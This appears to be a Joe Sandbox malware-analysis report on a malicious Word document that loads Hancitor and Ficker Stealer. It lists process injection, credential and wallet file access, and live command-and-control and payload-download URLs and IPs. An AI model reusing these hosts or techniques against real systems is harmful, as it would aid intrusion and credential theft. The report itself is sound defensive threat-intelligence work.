Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: 0708_3355614568218.doc

Stream path 'Data' entropy: 7.97264179911 (max. 8.0)

Source: C:\Windows\SysWOW64\svchost.exe TID: 2976

Thread sleep time: -180000s >= -30000s

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_02113400 GetModuleHandleA,GetProcAddress,GetNativeSystemInfo,GetSystemInfo,

3_2_02113400

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_0212B328 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

3_2_0212B328

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_02113580 GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,

3_2_02113580

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0214E556 mov eax, dword ptr fs:[00000030h]	3_2_0214E556
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0214E485 mov eax, dword ptr fs:[00000030h]	3_2_0214E485
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0214E08C push dword ptr fs:[00000030h]	3_2_0214E08C

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_02111390 GetProcessHeap,RtlAllocateHeap,

3_2_02111390

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0212B328 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_0212B328
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02129B44 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_02129B44
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0212E1A8 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_0212E1A8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02133668 SetUnhandledExceptionFilter,__encode_pointer,	3_2_02133668
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0213368A __decode_pointer,SetUnhandledExceptionFilter,	3_2_0213368A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_0040115C SetUnhandledExceptionFilter,exit,	5_2_0040115C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_00401150 SetUnhandledExceptionFilter,	5_2_00401150
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_004013C9 SetUnhandledExceptionFilter,	5_2_004013C9

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\svchost.exe	Domain query: pospvisis.com
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 50.19.92.227 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 77.222.42.67 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 8.211.241.0 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: sudepallon.com
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: srand04rf.ru
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 23.21.211.162 80	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: api.ipify.org
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 95.213.179.67 80	Jump to behavior

Contains functionality to inject threads in other processes

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_02113880 VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,CloseHandle,VirtualAlloc,CreateThread,CloseHandle,

3_2_02113880

Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\System32\rundll32.exe' c:\users\user\appdata\roaming\microsoft\templates\niberius.dll,ONOQWPYIEIR			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\System32\svchost.exe			Jump to behavior

Source: rundll32.exe, 00000002.00000002.2345688948.0000000000940000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2345919514.0000000000930000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: rundll32.exe, 00000002.00000002.2345688948.0000000000940000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2345919514.0000000000930000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: rundll32.exe, 00000002.00000002.2345688948.0000000000940000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2345919514.0000000000930000.00000002.00000001.sdmp	Binary or memory string: !Progman

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_02138BC2 cpuid

3_2_02138BC2

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: _TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,_ProcessCodePage,IsValidCodePage,IsValidLocale,_strcpy_s,__invoke_watson,__itoa_s,	3_2_021319B2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,InterlockedDecrement,InterlockedDecrement,	3_2_0212D3FA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLastError,_malloc,WideCharToMultiByte,__freea,GetLocaleInfoA,	3_2_02139827
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: _LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	3_2_02131852
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	3_2_02131911
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	3_2_02131976
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	3_2_02139964
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoA,_LcidFromHexString,_GetPrimaryLen,_strlen,	3_2_02131610
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoA,	3_2_0213660A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	3_2_021306AB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoW_stat,	3_2_021397EC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoA,	3_2_02131498
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,__invoke_watson,___crtGetLocaleInfoA,	3_2_021364A6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: __calloc_crt,__malloc_crt,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,	3_2_02130D07
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: _LcidFromHexString,GetLocaleInfoA,	3_2_0213157A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: CreateMutexA,LoadLibraryA,URLDownloadToFileA,LoadLibraryA,GetComputerNameW,GetSystemInfo,GlobalMemoryStatusEx,GetTimeZoneInformation,GetLocaleInfoW,CreateToolhelp32Snapshot,Process32First,Process32Next,RegOpenKeyExW,RegEnumKeyExW,RegOpenKeyExW,inet_ntoa,	5_2_00415800

Source: C:\Windows\SysWOW64\svchost.exe

Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\Users\user\AppData\Roaming VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cookies.sqlite VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\Users\user\AppData\Roaming VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\Users\user\AppData\Local VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\Users\user\Documents VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Application Data VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\Users\user\AppData\Local VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_02135256 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

3_2_02135256

Source: C:\Windows\SysWOW64\svchost.exe

5_2_00415800

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_02111AA0 GetVersion,wsprintfA,wsprintfA,

3_2_02111AA0

Source: C:\Windows\SysWOW64\svchost.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected Ficker Stealer

Show sources

Source: Yara match

File source: Process Memory Space: svchost.exe PID: 2716, type: MEMORY

Tries to harvest and steal Bitcoin Wallet information

Show sources

Source: C:\Windows\SysWOW64\svchost.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Show sources

Source: C:\Windows\SysWOW64\svchost.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Windows\SysWOW64\svchost.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\logins.json	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cookies.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior

Tries to steal Instant Messenger accounts or passwords

Show sources

Source: C:\Windows\SysWOW64\svchost.exe

File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml

Jump to behavior

Remote Access Functionality:

Yara detected Ficker Stealer

Show sources

Source: Yara match

File source: Process Memory Space: svchost.exe PID: 2716, type: MEMORY

Yara detected Hancitor

Show sources

Source: Yara match	File source: 3.3.rundll32.exe.3a4392.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.rundll32.exe.3a4392.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.2110000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000003.2143615894.00000000003A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2346335885.0000000002114000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 2668, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scripting22	Path Interception	Process Injection212	Disable or Modify Tools1	OS Credential Dumping1	System Time Discovery2	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Ingress Tool Transfer13	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API1	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Deobfuscate/Decode Files or Information1	Credentials in Registry2	File and Directory Discovery1	Remote Desktop Protocol	Data from Local System1	Exfiltration Over Bluetooth	Encrypted Channel2	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Exploitation for Client Execution33	Logon Script (Windows)	Logon Script (Windows)	Scripting22	Credentials In Files1	System Information Discovery46	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Obfuscated Files or Information21	NTDS	Security Software Discovery2	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol123	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing1	LSA Secrets	Virtualization/Sandbox Evasion1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Masquerading1	Cached Domain Credentials	Process Discovery3	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Virtualization/Sandbox Evasion1	DCSync	Remote System Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Process Injection212	Proc Filesystem	System Network Configuration Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Rundll321	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
0708_3355614568218.doc	37%	Virustotal		Browse

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
3.2.rundll32.exe.2110000.6.unpack	100%	Avira	TR/Hijacker.Gen		Download File

Domains

Source	Detection	Scanner	Link
srand04rf.ru	13%	Virustotal	Browse
pospvisis.com	12%	Virustotal	Browse
sudepallon.com	2%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://api.ipify.org0.0.0.0ncdrlebGUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x64)GUID	0%	Avira URL Cloud	safe
http://srand04rf.ru/7hfjsdfjks.exe	0%	Avira URL Cloud	safe
http://sudepallon.com/8/forum.php	0%	Avira URL Cloud	safe
http://thentabecon.ru/8/forum.php	0%	Avira URL Cloud	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://anspossthrly.ru/8/forum.php	0%	Avira URL Cloud	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
elb097307-934924932.us-east-1.elb.amazonaws.com	50.19.92.227	true	false		high
srand04rf.ru	8.211.241.0	true	true	13%, Virustotal, Browse	unknown
pospvisis.com	95.213.179.67	true	true	12%, Virustotal, Browse	unknown
sudepallon.com	77.222.42.67	true	true	2%, Virustotal, Browse	unknown
api.ipify.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://srand04rf.ru/7hfjsdfjks.exe	true	Avira URL Cloud: safe	unknown
http://api.ipify.org/	false		high
http://sudepallon.com/8/forum.php	true	Avira URL Cloud: safe	unknown
http://thentabecon.ru/8/forum.php	true	Avira URL Cloud: safe	unknown
http://anspossthrly.ru/8/forum.php	true	Avira URL Cloud: safe	unknown
http://api.ipify.org/?format=xml	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check	rundll32.exe, 00000002.00000002.2345957826.0000000001F27000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2346094368.0000000001F17000.00000002.00000001.sdmp	false		high
http://www.windows.com/pctv.	rundll32.exe, 00000003.00000002.2345952313.0000000001D30000.00000002.00000001.sdmp	false		high
http://investor.msn.com	rundll32.exe, 00000002.00000002.2345751253.0000000001D40000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2345952313.0000000001D30000.00000002.00000001.sdmp	false		high
http://www.msnbc.com/news/ticker.txt	rundll32.exe, 00000002.00000002.2345751253.0000000001D40000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2345952313.0000000001D30000.00000002.00000001.sdmp	false		high
http://www.icra.org/vocabulary/.	rundll32.exe, 00000002.00000002.2345957826.0000000001F27000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2346094368.0000000001F17000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	rundll32.exe, 00000003.00000002.2346967609.0000000003240000.00000002.00000001.sdmp, svchost.exe, 00000005.00000002.2169398406.00000000035D0000.00000002.00000001.sdmp	false		high
http://api.ipify.org0.0.0.0ncdrlebGUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x64)GUID	rundll32.exe, 00000003.00000003.2143615894.00000000003A0000.00000040.00000001.sdmp, rundll32.exe, 00000003.00000002.2346335885.0000000002114000.00000002.00020000.sdmp	false	Avira URL Cloud: safe	low
http://investor.msn.com/	rundll32.exe, 00000002.00000002.2345751253.0000000001D40000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2345952313.0000000001D30000.00000002.00000001.sdmp	false		high
http://www.%s.comPA	rundll32.exe, 00000003.00000002.2346967609.0000000003240000.00000002.00000001.sdmp, svchost.exe, 00000005.00000002.2169398406.00000000035D0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	rundll32.exe, 00000002.00000002.2345957826.0000000001F27000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2346094368.0000000001F17000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.hotmail.com/oe	rundll32.exe, 00000002.00000002.2345751253.0000000001D40000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2345952313.0000000001D30000.00000002.00000001.sdmp	false		high
http://api.ipify.org	rundll32.exe	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
50.19.92.227	elb097307-934924932.us-east-1.elb.amazonaws.com	United States	14618	AMAZON-AESUS	false
77.222.42.67	sudepallon.com	Russian Federation	44112	SWEB-ASRU	true
8.211.241.0	srand04rf.ru	Singapore	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	true
23.21.211.162	unknown	United States	14618	AMAZON-AESUS	true
95.213.179.67	pospvisis.com	Russian Federation	49505	SELECTELRU	true

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	446230
Start date:	09.07.2021
Start time:	03:06:14
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	0708_3355614568218.doc
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled GSI enabled (VBA) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.phis.troj.spyw.expl.evad.winDOC@7/14@7/5
EGA Information:	Failed
HDC Information:	Successful, ratio: 6% (good quality ratio 5.8%) Quality average: 88.6% Quality standard deviation: 21.2%
HCA Information:	Successful, ratio: 75% Number of executed functions: 31 Number of non-executed functions: 35
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .doc Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe Report size getting too big, too many NtCreateFile calls found. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtOpenFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryAttributesFile calls found. Report size getting too big, too many NtQueryDirectoryFile calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
03:07:07	API Interceptor	1216x Sleep call for process: rundll32.exe modified
03:07:15	API Interceptor	20x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
50.19.92.227	08.jpg.exe	Get hash	malicious	Browse	api.ipify.org/
	triage_dropped_file.dll	Get hash	malicious	Browse	api.ipify.org/
	0701_1866962341645.doc	Get hash	malicious	Browse	api.ipify.org/?format=xml
	pGN774GmSs.exe	Get hash	malicious	Browse	api.ipify.org/?format=xml
	file.doc	Get hash	malicious	Browse	api.ipify.org/
	file.dll	Get hash	malicious	Browse	api.ipify.org/
	file.dll	Get hash	malicious	Browse	api.ipify.org/
	file.dll	Get hash	malicious	Browse	api.ipify.org/
	trendbanter_v2.apk	Get hash	malicious	Browse	api.ipify.org/
	omh.dll	Get hash	malicious	Browse	api.ipify.org/
77.222.42.67	triage_dropped_file.dll	Get hash	malicious	Browse	sudepallon.com/8/forum.php
	08.jpg.exe	Get hash	malicious	Browse	sudepallon.com/8/forum.php
	0708_5355150121.xll	Get hash	malicious	Browse	sudepallon.com/8/forum.php
	triage_dropped_file.dll	Get hash	malicious	Browse	mancause.ru/8/forum.php
	nimb.dll	Get hash	malicious	Browse	mancause.ru/8/forum.php
	0706_1050501748839.doc	Get hash	malicious	Browse	mancause.ru/8/forum.php
	file.dll	Get hash	malicious	Browse	mancause.ru/8/forum.php
	file.doc	Get hash	malicious	Browse	mancause.ru/8/forum.php
	file.doc	Get hash	malicious	Browse	mancause.ru/8/forum.php
	file.dll	Get hash	malicious	Browse	mancause.ru/8/forum.php
	file.doc	Get hash	malicious	Browse	mancause.ru/8/forum.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
srand04rf.ru	triage_dropped_file.dll	Get hash	malicious	Browse	8.211.241.0
	0708_5355150121.xll	Get hash	malicious	Browse	8.211.241.0
	aCWkTdaR6G.dll	Get hash	malicious	Browse	8.209.119.208
	0616_433887484261.doc	Get hash	malicious	Browse	8.209.119.208
	omsh.dll	Get hash	malicious	Browse	8.209.119.208
	omsh_.dll	Get hash	malicious	Browse	8.209.119.208
	omh.dll	Get hash	malicious	Browse	8.209.119.208
	0616_1338797754728.doc	Get hash	malicious	Browse	8.209.119.208
elb097307-934924932.us-east-1.elb.amazonaws.com	RUxuwqYQMM.exe	Get hash	malicious	Browse	54.235.88.121
